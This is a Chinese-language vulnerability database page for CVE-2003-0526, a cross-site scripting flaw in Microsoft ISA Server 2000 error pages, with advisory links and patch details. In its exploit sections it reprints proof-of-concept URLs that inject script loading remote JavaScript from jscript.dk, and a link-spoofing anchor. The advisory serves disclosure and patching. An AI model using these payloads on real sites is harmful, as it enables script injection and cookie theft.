CVE-2003-0526漏洞详情 - SCAP中文社区

CVE-2003-0526

CVSS

6.8

发布时间 :2003-08-18 00:00:00

修订时间 :2017-10-10 21:29:10

NMCOES

[原文]Cross-site scripting (XSS) vulnerability in Microsoft Internet Security and Acceleration (ISA) Server 2000 allows remote attackers to inject arbitrary web script via a URL containing the script in the domain name portion, which is not properly cleansed in the default error pages (1) 500.htm for "500 Internal Server error" or (2) 404.htm for "404 Not Found."

[CNNVD]Microsoft ISA服务器HTTP错误处理跨站脚本执行漏洞(MS03-028)(CNNVD-200308-071)

        Microsoft ISA服务器集成可扩展，多层企业级防火墙，可扩展高性能WEB缓冲服务程序。
        Microsoft ISA在错误页面在处理客户端消息时缺少充分过滤，远程攻击者可以利用这个漏洞进行跨站脚本执行攻击，可能窃取用户用于验证的敏感COOKIE信息。
        ISA服务器遇到HTTP错误代码如"404 Not Found"或者"500 Internal Server Error"，ISA服务器就会返回HTML形式的错误处理信息，这些HTML文件使用脚本输出链接作为SERVER。TLD的部分URL。通过构建特殊形式的URL可能在HTTP错误处理页面中包含任意脚本命令，当用户访问这些包含恶意脚本的链接时，可导致用户基于验证的Cookie等敏感信息泄露。

NVD
CNNVD
Exploit-DB
OSVDB
SecurityFocus

- CVSS (基础分值)

CVSS分值:	6.8	[中等(MEDIUM)]
机密性影响:		[--]
完整性影响:		[--]
可用性影响:		[--]
攻击复杂度:		[--]
攻击向量:		[--]
身份认证:		[--]

- CPE (受影响的平台与产品)

cpe:/a:microsoft:isa_server:2000	Microsoft isa server 2000
cpe:/a:microsoft:isa_server:2000:fp1	Microsoft isa_server 2000 fp1
cpe:/a:microsoft:isa_server:2000:sp1	Microsoft isa_server 2000 sp1

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:117	Microsoft ISA Server Cross-Site Scripting
*OVAL详细的描述了检测该漏洞的方法，你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0526 (官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0526 (官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200308-071 (官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/vulnwatch/2003-q3/0029.html
(VENDOR_ADVISORY) VULNWATCH 20030716 ISA Server - Error Page Cross Site Scripting

http://archives.neohapsis.com/archives/vulnwatch/2003-q3/0031.html
(UNKNOWN) VULNWATCH 20030716 Microsoft ISA Server HTTP error handler XSS (TL#007)

http://marc.info/?l=bugtraq&m=105838519729525&w=2
(UNKNOWN) BUGTRAQ 20030716 Microsoft ISA Server HTTP error handler XSS (TL#007)

http://marc.info/?l=bugtraq&m=105838862201266&w=2
(UNKNOWN) BUGTRAQ 20030716 ISA Server - Error Page Cross Site Scripting

http://marc.info/?l=ntbugtraq&m=105838590030409&w=2
(UNKNOWN) NTBUGTRAQ 20030716 Microsoft ISA Server HTTP error handler XSS (TL#007)

http://pivx.com/larholm/adv/TL006
(UNKNOWN) MISC http://pivx.com/larholm/adv/TL006

http://www.microsoft.com/technet/security/bulletin/ms03-028.asp
(UNKNOWN) MS MS03-028

- 漏洞信息

漏洞名称:Microsoft ISA服务器HTTP错误处理跨站脚本执行漏洞(MS03-028)
紧急程度:中危	漏洞类型:输入验证
发布日期:2003-08-18 00:00:00	更新日期:2005-10-20 00:00:00
攻击路径:远程
详细介绍:
Microsoft ISA服务器集成可扩展，多层企业级防火墙，可扩展高性能WEB缓冲服务程序。 Microsoft ISA在错误页面在处理客户端消息时缺少充分过滤，远程攻击者可以利用这个漏洞进行跨站脚本执行攻击，可能窃取用户用于验证的敏感COOKIE信息。 ISA服务器遇到HTTP错误代码如"404 Not Found"或者"500 Internal Server Error"，ISA服务器就会返回HTML形式的错误处理信息，这些HTML文件使用脚本输出链接作为SERVER。TLD的部分URL。通过构建特殊形式的URL可能在HTTP错误处理页面中包含任意脚本命令，当用户访问这些包含恶意脚本的链接时，可导致用户基于验证的Cookie等敏感信息泄露。

- 公告与补丁

        厂商补丁：
        Microsoft
        ---------
        Microsoft已经为此发布了一个安全公告(MS03-028)以及相应补丁:
        MS03-028：Flaw in ISA Server Error Pages Could Allow Cross-Site Scripting Attack (Q816456)
        链接：
        http://www.microsoft.com/technet/security/bulletin/MS03-028.asp
        补丁下载：
        Microsoft ISA Server english:

        http://download.microsoft.com/download/4/6/4/464c95cd-8488-410d-bacb-69b25eaa7822/ISA2000-KB816456-x86.exe
        Microsoft ISA Server French:

        http://download.microsoft.com/download/a/d/6/ad64a2af-d359-44e5-88d9-321269f1afde/ISA2000-KB816456-x86.exe
        Microsoft ISA Server German:

        http://download.microsoft.com/download/9/f/3/9f39d8a7-4897-43e5-bd90-70cc468139ae/ISA2000-KB816456-x86.exe
        Microsoft ISA Server Spanish:

        http://download.microsoft.com/download/5/a/a/5aabcffe-e89c-4275-b2ba-64c47e42f078/ISA2000-KB816456-x86.exe
        Microsoft ISA Server Japanese:

        http://download.microsoft.com/download/1/5/b/15b400a5-5b40-4721-92b0-caef3f190146/ISA2000-KB816456-x86.exe

- 漏洞信息 (22919)

漏洞名称:Microsoft ISA Server 2000 Cross-Site Scripting Vulnerabilities (EDBID:22919)
影响平台:windows	漏洞类型:remote
发布日期:2003-07-16	确认状态:Verified
漏洞端口:0	代码作者:Brett Moore
系统下载: N/A	代码下载: [点击下载]

source: http://www.securityfocus.com/bid/8207/info

ISA server will output certain error pages when requests that are invalid, for whatever reason, are transmitted through it. These error pages will appear in the context of the domain that the request was made for. It has been reported that many of these error pages contain cross-site scripting vulnerabilities that allow for the execution of script code (embedded in the request URI) in the context of client requested domains.

The following proof-of-concept was provided:
http://<img%09src=""%09onerror="document.scripts[0].src=%27http%5Cx3a%5Cx2f%5Cx2fjscript.dk%5Cx2ftest.js%27;">script@YOUR.TLD/%U0

The above proof-of-concept will include and execute http://jscript.dk/test.js on YOUR.TLD, this is provided that YOUR.TLD is protected by an ISA Server installation.

*http://<iframe>:test@[site]/test

The exploit provided for BID 4486 will also reportedly work for this vulnerability.

An additional proof-of-concept was supplied by "http-equiv@excite.com" <1@malware.com> that demonstrates a true status and a false destination:
<A href="http://www.example.com%09%09%09@%09%09%09%09%09%09
09www.malware.com">http://www.example.com</A>

- 漏洞信息

OSVDBID: 2298
漏洞名称:Microsoft ISA Server Error Page XSS
漏洞位置: Remote / Network Access	利用方式: Input Manipulation
漏洞影响:Loss of Integrity	解决方式:
漏洞利用:Exploit Public	公开方式:

- 漏洞描述

ISA Server contains a flaw that allows a remote cross site scripting attack. This flaw exists because the application does not validate the returned URI upon submission to the error page script. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server, leading to a loss of integrity.

- 时间线

公开日期: 2003-07-16	发现日期: 2003-05-21
利用日期:2003-07-16	解决日期:Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability.

- 相关参考

ISS X-Force ID: 12627
CVE ID: 2003-0526 (see also: NVD)
Bugtraq ID: 8207
Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2003-07/0193.html
http://archives.neohapsis.com/archives/bugtraq/2003-07/0197.html
http://archives.neohapsis.com/archives/bugtraq/2003-07/0244.html
Other Advisory URL: http://www.pivx.com/larholm/adv/TL006/
Microsoft Security Bulletin: MS03-028
CIAC Advisory: n-119

- 漏洞作者

- 漏洞信息

漏洞名称:Microsoft ISA Server Cross-Site Scripting Vulnerabilities
漏洞分类: Input Validation Error	BugtraqID: 8207
远程溢出:Yes	本地溢出:No
发布日期:2003-07-16 12:00:00	更新日期:2009-07-11 10:56:00
漏洞作者: Discovery credited to Brett Moore of Security-Assessment.com.

- 受影响的程序版本

Microsoft ISA Server 2000 SP1
Microsoft ISA Server 2000 FP1
Microsoft ISA Server 2000

- 漏洞讨论

ISA server will output certain error pages when requests that are invalid, for whatever reason, are transmitted through it. These error pages will appear in the context of the domain that the request was made for. It has been reported that many of these error pages contain cross-site scripting vulnerabilities that allow for the execution of script code (embedded in the request URI) in the context of client requested domains.

This vulnerability is reportedly similar to the one described in BID 4486.

- 漏洞利用

The following proof-of-concept was provided:
http://<img%09src=""%09onerror="document.scripts[0].src=%27http%5Cx3a%5Cx2f%5Cx2fjscript.dk%5Cx2ftest.js%27;">script@YOUR.TLD/%U0

The above proof-of-concept will include and execute http://jscript.dk/test.js on YOUR.TLD, this is provided that YOUR.TLD is protected by an ISA Server installation.

*http://<iframe>:test@[site]/test

The exploit provided for BID 4486 will also reportedly work for this vulnerability.

An additional proof-of-concept was supplied by "http-equiv@excite.com" <1@malware.com> that demonstrates a true status and a false destination:
<A href="http://www.example.com%09%09%09@%09%09%09%09%09%09
09www.malware.com">http://www.example.com</A>

- 解决方案

Microsoft has released a patch:

Microsoft ISA Server 2000 FP1

Microsoft ISA2000-KB816456
There are links to several internationalized versions of this patch. To be applied to ISA Server 2000 SP1 or ISA Server 2000 with FP1.
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/sec urity/bulletin/MS03-028.asp

Microsoft ISA Server 2000 SP1

Microsoft ISA2000-KB816456
There are links to several internationalized versions of this patch. To be applied to ISA Server 2000 SP1 or ISA Server 2000 with FP1.
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/sec urity/bulletin/MS03-028.asp

- 相关参考

Microsoft Security Bulletin MS03-028 (Microsoft)
ISA Server - Error Page Cross Site Scripting ("Brett Moore" )
Microsoft ISA Server HTTP error handler XSS (TL#007) ("Thor Larholm" )
Re: Microsoft ISA Server HTTP error handler XSS (TL#007) ("http-equiv@excite.com" <1@malware.com>)

CVE数据库

检索CVE

关于CVE

CVE资源

Wise Words

三人行，必有我师焉。择其善者而从之，其不善者而改之。

-- 孔子

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息，请查阅[关于本站]。

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标，它们的官方数据源均保存在MITRE公司的相关网站。

CVE 通用漏洞与披露Common Vulnerabilities and Exposures

- CVSS (基础分值)

- CPE (受影响的平台与产品)

- OVAL (用于检测的技术细节)

- 官方数据库链接

- 其它链接及资源

- 漏洞信息

- 公告与补丁

- 漏洞信息 (22919)

- 漏洞信息

- 漏洞描述

- 时间线

- 解决方案

- 相关参考

- 漏洞作者

- 漏洞信息

- 受影响的程序版本

- 漏洞讨论

- 漏洞利用

- 解决方案

- 相关参考

CVE数据库

检索CVE

关于CVE

CVE资源

Wise Words

关于SCAP中文社区

版权声明